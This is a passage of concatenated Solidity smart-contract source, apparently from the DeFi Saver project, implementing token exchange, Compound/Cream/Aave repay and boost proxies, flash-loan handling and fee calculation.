: end; uint count = 0; for (uint i = start; i < end; i++) { holders[count] = subscribers[i]; count++; } return holders; } ////////////// ADMIN METHODS /////////////////// /// @notice Admin function to unsubscribe a CDP /// @param _user The actual address that owns the Compound position function unsubscribeByAdmin(address _user) public onlyOwner { SubPosition storage subInfo = subscribersPos[_user]; if (subInfo.subscribed) { _unsubscribe(_user); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../interfaces/GasTokenInterface.sol"; import "./DFSExchangeCore.sol"; import "../DS/DSMath.sol"; import "../loggers/DefisaverLogger.sol"; import "../auth/AdminAuth.sol"; import "../utils/GasBurner.sol"; import "../utils/SafeERC20.sol"; contract DFSExchange is DFSExchangeCore, AdminAuth, GasBurner { using SafeERC20 for ERC20; uint256 public constant SERVICE_FEE = 800; // 0.125% Fee // solhint-disable-next-line const-name-snakecase DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); uint public burnAmount = 10; /// @notice Takes a src amount of tokens and converts it into the dest token /// @dev Takes fee from the _srcAmount before the exchange /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function sell(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount) { exData.dfsFeeDivider = SERVICE_FEE; exData.user = _user; // Perform the exchange (address wrapper, uint destAmount) = _sell(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeSell", abi.encode(wrapper, exData.srcAddr, exData.destAddr, exData.srcAmount, destAmount)); } /// @notice Takes a dest amount of tokens and converts it from the src token /// @dev Send always more than needed for the swap, extra will be returned /// @param exData [srcAddr, destAddr, srcAmount, destAmount, minPrice, exchangeType, exchangeAddr, callData, price0x] /// @param _user User address who called the exchange function buy(ExchangeData memory exData, address payable _user) public payable burnGas(burnAmount){ exData.dfsFeeDivider = SERVICE_FEE; exData.user = _user; // Perform the exchange (address wrapper, uint srcAmount) = _buy(exData); // send back any leftover ether or tokens sendLeftover(exData.srcAddr, exData.destAddr, _user); // log the event logger.Log(address(this), msg.sender, "ExchangeBuy", abi.encode(wrapper, exData.srcAddr, exData.destAddr, srcAmount, exData.destAmount)); } /// @notice Changes the amount of gas token we burn for each call /// @dev Only callable by the owner /// @param _newBurnAmount New amount of gas tokens to be burned function changeBurnAmount(uint _newBurnAmount) public { require(owner == msg.sender); burnAmount = _newBurnAmount; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../auth/AdminAuth.sol"; import "./DFSExchange.sol"; import "../utils/SafeERC20.sol"; contract AllowanceProxy is AdminAuth { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; DFSExchange dfsExchange = DFSExchange(0xc2Ce04e2FB4DD20964b4410FcE718b95963a1587); function callSell(DFSExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); dfsExchange.sell{value: msg.value}(exData, msg.sender); } function callBuy(DFSExchangeCore.ExchangeData memory exData) public payable { pullAndSendTokens(exData.srcAddr, exData.srcAmount); dfsExchange.buy{value: msg.value}(exData, msg.sender); } function pullAndSendTokens(address _tokenAddr, uint _amount) internal { if (_tokenAddr == KYBER_ETH_ADDRESS) { require(msg.value >= _amount, "msg.value smaller than amount"); } else { ERC20(_tokenAddr).safeTransferFrom(msg.sender, address(dfsExchange), _amount); } } function ownerChangeExchange(address payable _newExchange) public onlyOwner { dfsExchange = DFSExchange(_newExchange); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "./CreamSafetyRatio.sol"; import "./helpers/CreamSaverHelper.sol"; /// @title Gets data about cream positions contract CreamLoanInfo is CreamSafetyRatio { struct LoanData { address user; uint128 ratio; address[] collAddr; address[] borrowAddr; uint[] collAmounts; uint[] borrowAmounts; } struct TokenInfo { address cTokenAddress; address underlyingTokenAddress; uint collateralFactor; uint price; } struct TokenInfoFull { address underlyingTokenAddress; uint supplyRate; uint borrowRate; uint exchangeRate; uint marketLiquidity; uint totalSupply; uint totalBorrow; uint collateralFactor; uint price; } address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant CETH_ADDRESS = 0xD06527D5e56A3495252A528C4987003b712860eE; /// @notice Calcualted the ratio of coll/debt for a cream user /// @param _user Address of the user function getRatio(address _user) public view returns (uint) { // For each asset the account is in return getSafetyRatio(_user); } /// @notice Fetches cream prices for tokens /// @param _cTokens Arr. of cTokens for which to get the prices /// @return prices Array of prices function getPrices(address[] memory _cTokens) public view returns (uint[] memory prices) { prices = new uint[](_cTokens.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokens.length; ++i) { prices[i] = CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokens[i]); } } /// @notice Fetches cream collateral factors for tokens /// @param _cTokens Arr. of cTokens for which to get the coll. factors /// @return collFactors Array of coll. factors function getCollFactors(address[] memory _cTokens) public view returns (uint[] memory collFactors) { collFactors = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; ++i) { (, collFactors[i]) = comp.markets(_cTokens[i]); } } /// @notice Fetches all the collateral/debt address and amounts, denominated in eth /// @param _user Address of the user /// @return data LoanData information function getLoanData(address _user) public view returns (LoanData memory data) { address[] memory assets = comp.getAssetsIn(_user); address oracleAddr = comp.oracle(); data = LoanData({ user: _user, ratio: 0, collAddr: new address[](assets.length), borrowAddr: new address[](assets.length), collAmounts: new uint[](assets.length), borrowAmounts: new uint[](assets.length) }); uint collPos = 0; uint borrowPos = 0; for (uint i = 0; i < assets.length; i++) { address asset = assets[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory oraclePrice; if (cTokenBalance != 0 || borrowBalance != 0) { oraclePrice = Exp({mantissa: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(asset)}); } // Sum up collateral in eth if (cTokenBalance != 0) { Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, Exp memory tokensToEth) = mulExp(exchangeRate, oraclePrice); data.collAddr[collPos] = asset; (, data.collAmounts[collPos]) = mulScalarTruncate(tokensToEth, cTokenBalance); collPos++; } // Sum up debt in eth if (borrowBalance != 0) { data.borrowAddr[borrowPos] = asset; (, data.borrowAmounts[borrowPos]) = mulScalarTruncate(oraclePrice, borrowBalance); borrowPos++; } } data.ratio = uint128(getSafetyRatio(_user)); return data; } function getTokenBalances(address _user, address[] memory _cTokens) public view returns (uint[] memory balances, uint[] memory borrows) { balances = new uint[](_cTokens.length); borrows = new uint[](_cTokens.length); for (uint i = 0; i < _cTokens.length; i++) { address asset = _cTokens[i]; (, uint cTokenBalance, uint borrowBalance, uint exchangeRateMantissa) = CTokenInterface(asset).getAccountSnapshot(_user); Exp memory exchangeRate = Exp({mantissa: exchangeRateMantissa}); (, balances[i]) = mulScalarTruncate(exchangeRate, cTokenBalance); borrows[i] = borrowBalance; } } /// @notice Fetches all the collateral/debt address and amounts, denominated in eth /// @param _users Addresses of the user /// @return loans Array of LoanData information function getLoanDataArr(address[] memory _users) public view returns (LoanData[] memory loans) { loans = new LoanData[](_users.length); for (uint i = 0; i < _users.length; ++i) { loans[i] = getLoanData(_users[i]); } } /// @notice Calcualted the ratio of coll/debt for a cream user /// @param _users Addresses of the user /// @return ratios Array of ratios function getRatios(address[] memory _users) public view returns (uint[] memory ratios) { ratios = new uint[](_users.length); for (uint i = 0; i < _users.length; ++i) { ratios[i] = getSafetyRatio(_users[i]); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfo[] memory tokens) { tokens = new TokenInfo[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); tokens[i] = TokenInfo({ cTokenAddress: _cTokenAddresses[i], underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Information about cTokens /// @param _cTokenAddresses Array of cTokens addresses /// @return tokens Array of cTokens infomartion function getFullTokensInfo(address[] memory _cTokenAddresses) public returns(TokenInfoFull[] memory tokens) { tokens = new TokenInfoFull[](_cTokenAddresses.length); address oracleAddr = comp.oracle(); for (uint i = 0; i < _cTokenAddresses.length; ++i) { (, uint collFactor) = comp.markets(_cTokenAddresses[i]); CTokenInterface cToken = CTokenInterface(_cTokenAddresses[i]); tokens[i] = TokenInfoFull({ underlyingTokenAddress: getUnderlyingAddr(_cTokenAddresses[i]), supplyRate: cToken.supplyRatePerBlock(), borrowRate: cToken.borrowRatePerBlock(), exchangeRate: cToken.exchangeRateCurrent(), marketLiquidity: cToken.getCash(), totalSupply: cToken.totalSupply(), totalBorrow: cToken.totalBorrowsCurrent(), collateralFactor: collFactor, price: CompoundOracleInterface(oracleAddr).getUnderlyingPrice(_cTokenAddresses[i]) }); } } /// @notice Returns the underlying address of the cToken asset /// @param _cTokenAddress cToken address /// @return Token address of the cToken specified function getUnderlyingAddr(address _cTokenAddress) internal returns (address) { if (_cTokenAddress == CETH_ADDRESS) { return ETH_ADDRESS; } else { return CTokenInterface(_cTokenAddress).underlying(); } } } pragma solidity ^0.6.0; import "../../interfaces/ERC20.sol"; import "../../interfaces/CTokenInterface.sol"; import "../../interfaces/ComptrollerInterface.sol"; import "../../utils/SafeERC20.sol"; contract CompoundBorrowProxy { using SafeERC20 for ERC20; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant COMPTROLLER_ADDR = 0x3d9819210A31b4961b30EF54bE2aeD79B9c9Cd3B; function borrow(address _cCollToken, address _cBorrowToken, address _borrowToken, uint _amount) public { address[] memory markets = new address[](2); markets[0] = _cCollToken; markets[1] = _cBorrowToken; ComptrollerInterface(COMPTROLLER_ADDR).enterMarkets(markets); require(CTokenInterface(_cBorrowToken).borrow(_amount) == 0); // withdraw funds to msg.sender if (_borrowToken != ETH_ADDR) { ERC20(_borrowToken).safeTransfer(msg.sender, ERC20(_borrowToken).balanceOf(address(this))); } else { msg.sender.transfer(address(this).balance); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/FlashLoanReceiverBase.sol"; import "../../interfaces/DSProxyInterface.sol"; import "../../exchangeV3/DFSExchangeData.sol"; /// @title Contract that receives the FL from Aave for Repays/Boost contract CompoundSaverFlashLoan is FlashLoanReceiverBase, DFSExchangeData { ILendingPoolAddressesProvider public LENDING_POOL_ADDRESS_PROVIDER = ILendingPoolAddressesProvider(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address payable public COMPOUND_SAVER_FLASH_PROXY = 0xcaB974d1702a056e6FF16f1DaA34646E41Ef485E; address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public owner; using SafeERC20 for ERC20; constructor() FlashLoanReceiverBase(LENDING_POOL_ADDRESS_PROVIDER) public { owner = msg.sender; } /// @notice Called by Aave when sending back the FL amount /// @param _reserve The address of the borrowed token /// @param _amount Amount of FL tokens received /// @param _fee FL Aave fee /// @param _params The params that are sent from the original FL caller contract function executeOperation( address _reserve, uint256 _amount, uint256 _fee, bytes calldata _params) external override { // Format the call data for DSProxy (bytes memory proxyData, address payable proxyAddr) = packFunctionCall(_amount, _fee, _params); // Send Flash loan amount to DSProxy sendLoanToProxy(proxyAddr, _reserve, _amount); // Execute the DSProxy call DSProxyInterface(proxyAddr).execute(COMPOUND_SAVER_FLASH_PROXY, proxyData); // Repay the loan with the money DSProxy sent back transferFundsBackToPoolInternal(_reserve, _amount.add(_fee)); // if there is some eth left (0x fee), return it to user if (address(this).balance > 0) { tx.origin.transfer(address(this).balance); } } /// @notice Formats function data call so we can call it through DSProxy /// @param _amount Amount of FL /// @param _fee Fee of the FL /// @param _params Saver proxy params /// @return proxyData Formated function call data function packFunctionCall(uint _amount, uint _fee, bytes memory _params) internal pure returns (bytes memory proxyData, address payable) { ( bytes memory exDataBytes, address[2] memory cAddresses, // cCollAddress, cBorrowAddress uint256 gasCost, bool isRepay, address payable proxyAddr ) = abi.decode(_params, (bytes,address[2],uint256,bool,address)); ExchangeData memory _exData = unpackExchangeData(exDataBytes); uint[2] memory flashLoanData = [_amount, _fee]; if (isRepay) { proxyData = abi.encodeWithSignature("flashRepay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } else { proxyData = abi.encodeWithSignature("flashBoost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),address[2],uint256,uint256[2])", _exData, cAddresses, gasCost, flashLoanData); } return (proxyData, proxyAddr); } /// @notice Send the FL funds received to DSProxy /// @param _proxy DSProxy address /// @param _reserve Token address /// @param _amount Amount of tokens function sendLoanToProxy(address payable _proxy, address _reserve, uint _amount) internal { if (_reserve != ETH_ADDRESS) { ERC20(_reserve).safeTransfer(_proxy, _amount); } _proxy.transfer(address(this).balance); } receive() external override(FlashLoanReceiverBase) payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../exchange/SaverExchangeCore.sol"; import "../../loggers/DefisaverLogger.sol"; import "../helpers/CreamSaverHelper.sol"; /// @title Contract that implements repay/boost functionality contract CreamSaverProxy is CreamSaverHelper, SaverExchangeCore { DefisaverLogger public constant logger = DefisaverLogger(0x5c55B921f590a89C1Ebe84dF170E655a82b62126); /// @notice Withdraws collateral, converts to borrowed token and repays debt /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function repay( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint collAmount = (_exData.srcAmount > maxColl) ? maxColl : _exData.srcAmount; require(CTokenInterface(_cAddresses[0]).redeemUnderlying(collAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { (, swapAmount) = _sell(_exData); swapAmount -= getFee(swapAmount, user, _gasCost, _cAddresses[1]); } else { swapAmount = collAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } paybackDebt(swapAmount, _cAddresses[1], borrowToken, user); // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CreamRepay", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } /// @notice Borrows token, converts to collateral, and adds to position /// @dev Called through the DSProxy /// @param _exData Exchange data /// @param _cAddresses Coll/Debt addresses [cCollAddress, cBorrowAddress] /// @param _gasCost Gas cost for specific transaction function boost( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable { enterMarket(_cAddresses[0], _cAddresses[1]); address payable user = payable(getUserAddress()); uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint borrowAmount = (_exData.srcAmount > maxBorrow) ? maxBorrow : _exData.srcAmount; require(CTokenInterface(_cAddresses[1]).borrow(borrowAmount) == 0); address collToken = getUnderlyingAddr(_cAddresses[0]); address borrowToken = getUnderlyingAddr(_cAddresses[1]); uint swapAmount = 0; if (collToken != borrowToken) { borrowAmount -= getFee(borrowAmount, user, _gasCost, _cAddresses[1]); _exData.srcAmount = borrowAmount; (,swapAmount) = _sell(_exData); } else { swapAmount = borrowAmount; swapAmount -= getGasCost(swapAmount, _gasCost, _cAddresses[1]); } approveCToken(collToken, _cAddresses[0]); if (collToken != ETH_ADDRESS) { require(CTokenInterface(_cAddresses[0]).mint(swapAmount) == 0); } else { CEtherInterface(_cAddresses[0]).mint{value: swapAmount}(); // reverts on fail } // handle 0x fee tx.origin.transfer(address(this).balance); // log amount, collToken, borrowToken logger.Log(address(this), msg.sender, "CreamBoost", abi.encode(_exData.srcAmount, swapAmount, collToken, borrowToken)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../interfaces/ILendingPool.sol"; import "./CreamSaverProxy.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../auth/ProxyPermission.sol"; /// @title Entry point for the FL Repay Boosts, called by DSProxy contract CreamFlashLoanTaker is CreamSaverProxy, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address payable public constant COMPOUND_SAVER_FLASH_LOAN = 0x3ceD2067c0B057611e4E2686Dbe40028962Cc625; address public constant AAVE_POOL_CORE = 0x3dfd23A6c5E8BbcFc9581d2E864a68feb6a076d3; /// @notice Repays the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function repayWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(25) { uint maxColl = getMaxCollateral(_cAddresses[0], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxColl || availableLiquidity == 0) { repay(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxColl); bytes memory encoded = packExchangeData(_exData); bytes memory paramsData = abi.encode(encoded, _cAddresses, _gasCost, true, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[0]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CreamFlashRepay", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[0])); } } /// @notice Boosts the position with it's own fund or with FL if needed /// @param _exData Exchange data /// @param _cAddresses cTokens addreses and exchange [cCollAddress, cBorrowAddress, exchangeAddress] /// @param _gasCost Gas cost for specific transaction function boostWithLoan( ExchangeData memory _exData, address[2] memory _cAddresses, // cCollAddress, cBorrowAddress uint256 _gasCost ) public payable burnGas(20) { uint maxBorrow = getMaxBorrow(_cAddresses[1], address(this)); uint availableLiquidity = getAvailableLiquidity(_exData.srcAddr); if (_exData.srcAmount <= maxBorrow || availableLiquidity == 0) { boost(_exData, _cAddresses, _gasCost); } else { // 0x fee COMPOUND_SAVER_FLASH_LOAN.transfer(msg.value); uint loanAmount = (_exData.srcAmount - maxBorrow); bytes memory paramsData = abi.encode(packExchangeData(_exData), _cAddresses, _gasCost, false, address(this)); givePermission(COMPOUND_SAVER_FLASH_LOAN); lendingPool.flashLoan(COMPOUND_SAVER_FLASH_LOAN, getUnderlyingAddr(_cAddresses[1]), loanAmount, paramsData); removePermission(COMPOUND_SAVER_FLASH_LOAN); logger.Log(address(this), msg.sender, "CreamFlashBoost", abi.encode(loanAmount, _exData.srcAmount, _cAddresses[1])); } } function getAvailableLiquidity(address _tokenAddr) internal view returns (uint liquidity) { if (_tokenAddr == KYBER_ETH_ADDRESS) { liquidity = AAVE_POOL_CORE.balance; } else { liquidity = ERC20(_tokenAddr).balanceOf(AAVE_POOL_CORE); } } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../savings/dydx/ISoloMargin.sol"; import "../../utils/SafeERC20.sol"; import "../../interfaces/TokenInterface.sol"; import "../../DS/DSProxy.sol"; import "../AaveHelper.sol"; import "../../auth/AdminAuth.sol"; import "../../exchange/SaverExchangeCore.sol"; /// @title Import Aave position from account to wallet contract AaveSaverReceiver is AaveHelper, AdminAuth, SaverExchangeCore { using SafeERC20 for ERC20; address public constant AAVE_SAVER_PROXY = 0xCab7ce9148499E0dD8228c3c8cDb9B56Ac2bb57a; address public constant AAVE_BASIC_PROXY = 0xd042D4E9B4186c545648c7FfFe87125c976D110B; address public constant AETH_ADDRESS = 0x3a3A65aAb0dd2A17E3F1947bA16138cd37d08c04; function callFunction( address sender, Account.Info memory account, bytes memory data ) public { ( bytes memory exchangeDataBytes, uint256 gasCost, bool isRepay, uint256 ethAmount, uint256 txValue, address user, address proxy ) = abi.decode(data, (bytes,uint256,bool,uint256,uint256,address,address)); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); // deposit eth on behalf of proxy DSProxy(payable(proxy)).execute{value: ethAmount}(AAVE_BASIC_PROXY, abi.encodeWithSignature("deposit(address,uint256)", ETH_ADDR, ethAmount)); bytes memory functionData = packFunctionCall(exchangeDataBytes, gasCost, isRepay); DSProxy(payable(proxy)).execute{value: txValue}(AAVE_SAVER_PROXY, functionData); // withdraw deposited eth DSProxy(payable(proxy)).execute(AAVE_BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256,bool)", ETH_ADDR, AETH_ADDRESS, ethAmount, false)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } function packFunctionCall(bytes memory _exchangeDataBytes, uint256 _gasCost, bool _isRepay) internal returns (bytes memory) { ExchangeData memory exData = unpackExchangeData(_exchangeDataBytes); bytes memory functionData; if (_isRepay) { functionData = abi.encodeWithSignature("repay((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", exData, _gasCost); } else { functionData = abi.encodeWithSignature("boost((address,address,uint256,uint256,uint256,address,address,bytes,uint256),uint256)", exData, _gasCost); } return functionData; } /// @dev if contract receive eth, convert it to WETH receive() external override payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit.value(address(this).balance)(); } } } pragma solidity ^0.6.0; import "../DS/DSMath.sol"; import "../DS/DSProxy.sol"; import "../utils/Discount.sol"; import "../interfaces/IFeeRecipient.sol"; import "../interfaces/IAToken.sol"; import "../interfaces/ILendingPool.sol"; import "../interfaces/ILendingPoolAddressesProvider.sol"; import "../interfaces/IPriceOracleGetterAave.sol"; import "../utils/SafeERC20.sol"; import "../utils/BotRegistry.sol"; contract AaveHelper is DSMath { using SafeERC20 for ERC20; IFeeRecipient public constant feeRecipient = IFeeRecipient(0x39C4a92Dc506300c3Ea4c67ca4CA611102ee6F2A); address public constant DISCOUNT_ADDR = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; uint public constant MANUAL_SERVICE_FEE = 400; // 0.25% Fee uint public constant AUTOMATIC_SERVICE_FEE = 333; // 0.3% Fee address public constant BOT_REGISTRY_ADDRESS = 0x637726f8b08a7ABE3aE3aCaB01A80E2d8ddeF77B; address public constant ETH_ADDR = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant AAVE_LENDING_POOL_ADDRESSES = 0x24a42fD28C976A61Df5D00D0599C34c4f90748c8; uint public constant NINETY_NINE_PERCENT_WEI = 990000000000000000; uint16 public constant AAVE_REFERRAL_CODE = 64; /// @param _collateralAddress underlying token address /// @param _user users address function getMaxCollateral(address _collateralAddress, address _user) public view returns (uint256) { address lendingPoolAddressDataProvider = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolDataProvider(); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); uint256 pow10 = 10 ** (18 - _getDecimals(_collateralAddress)); // fetch all needed data (,uint256 totalCollateralETH, uint256 totalBorrowsETH,,uint256 currentLTV,,,) = ILendingPool(lendingPoolAddressDataProvider).calculateUserGlobalData(_user); (,uint256 tokenLTV,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_collateralAddress); uint256 collateralPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_collateralAddress); uint256 userTokenBalance = ILendingPool(lendingPoolCoreAddress).getUserUnderlyingAssetBalance(_collateralAddress, _user); uint256 userTokenBalanceEth = wmul(userTokenBalance * pow10, collateralPrice); // if borrow is 0, return whole user balance if (totalBorrowsETH == 0) { return userTokenBalance; } uint256 maxCollateralEth = div(sub(mul(currentLTV, totalCollateralETH), mul(totalBorrowsETH, 100)), currentLTV); /// @dev final amount can't be higher than users token balance maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth; // might happen due to wmul precision if (maxCollateralEth >= totalCollateralETH) { return wdiv(totalCollateralETH, collateralPrice) / pow10; } // get sum of all other reserves multiplied with their liquidation thresholds by reversing formula uint256 a = sub(wmul(currentLTV, totalCollateralETH), wmul(tokenLTV, userTokenBalanceEth)); // add new collateral amount multiplied by its threshold, and then divide with new total collateral uint256 newLiquidationThreshold = wdiv(add(a, wmul(sub(userTokenBalanceEth, maxCollateralEth), tokenLTV)), sub(totalCollateralETH, maxCollateralEth)); // if new threshold is lower than first one, calculate new max collateral with newLiquidationThreshold if (newLiquidationThreshold < currentLTV) { maxCollateralEth = div(sub(mul(newLiquidationThreshold, totalCollateralETH), mul(totalBorrowsETH, 100)), newLiquidationThreshold); maxCollateralEth = maxCollateralEth > userTokenBalanceEth ? userTokenBalanceEth : maxCollateralEth; } return wmul(wdiv(maxCollateralEth, collateralPrice) / pow10, NINETY_NINE_PERCENT_WEI); } /// @param _borrowAddress underlying token address /// @param _user users address function getMaxBorrow(address _borrowAddress, address _user) public view returns (uint256) { address lendingPoolAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); (,,,,uint256 availableBorrowsETH,,,) = ILendingPool(lendingPoolAddress).getUserAccountData(_user); uint256 borrowPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_borrowAddress); return wmul(wdiv(availableBorrowsETH, borrowPrice) / (10 ** (18 - _getDecimals(_borrowAddress))), NINETY_NINE_PERCENT_WEI); } function getMaxBoost(address _borrowAddress, address _collateralAddress, address _user) public view returns (uint256) { address lendingPoolAddressDataProvider = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolDataProvider(); address lendingPoolCoreAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); (,uint256 totalCollateralETH, uint256 totalBorrowsETH,,uint256 currentLTV,,,) = ILendingPool(lendingPoolAddressDataProvider).calculateUserGlobalData(_user); (,uint256 tokenLTV,,) = ILendingPool(lendingPoolCoreAddress).getReserveConfiguration(_collateralAddress); totalCollateralETH = div(mul(totalCollateralETH, currentLTV), 100); uint256 availableBorrowsETH = wmul(mul(div(sub(totalCollateralETH, totalBorrowsETH), sub(100, tokenLTV)), 100), NINETY_NINE_PERCENT_WEI); uint256 borrowPrice = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_borrowAddress); return wdiv(availableBorrowsETH, borrowPrice) / (10 ** (18 - _getDecimals(_borrowAddress))); } /// @notice Calculates the fee amount /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return feeAmount The amount we took for the fee function getFee(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint feeAmount) { address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); uint fee = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { fee = AUTOMATIC_SERVICE_FEE; } if (Discount(DISCOUNT_ADDR).isCustomFeeSet(_user)) { fee = Discount(DISCOUNT_ADDR).getCustomServiceFee(_user); } feeAmount = (fee == 0) ? 0 : (_amount / fee); if (_gasCost != 0) { uint256 price = IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr); _gasCost = wdiv(_gasCost, price) / (10 ** (18 - _getDecimals(_tokenAddr))); feeAmount = add(feeAmount, _gasCost); } // fee can't go over 20% of the whole amount if (feeAmount > (_amount / 5)) { feeAmount = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (_tokenAddr == ETH_ADDR) { payable(walletAddr).transfer(feeAmount); } else { ERC20(_tokenAddr).safeTransfer(walletAddr, feeAmount); } } /// @notice Calculates the gas cost for transaction /// @param _amount Amount that is converted /// @param _user Actuall user addr not DSProxy /// @param _gasCost Ether amount of gas we are spending for tx /// @param _tokenAddr token addr. of token we are getting for the fee /// @return gasCost The amount we took for the gas cost function getGasCost(uint _amount, address _user, uint _gasCost, address _tokenAddr) internal returns (uint gasCost) { if (_gasCost == 0) return 0; address priceOracleAddress = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getPriceOracle(); uint256 price = 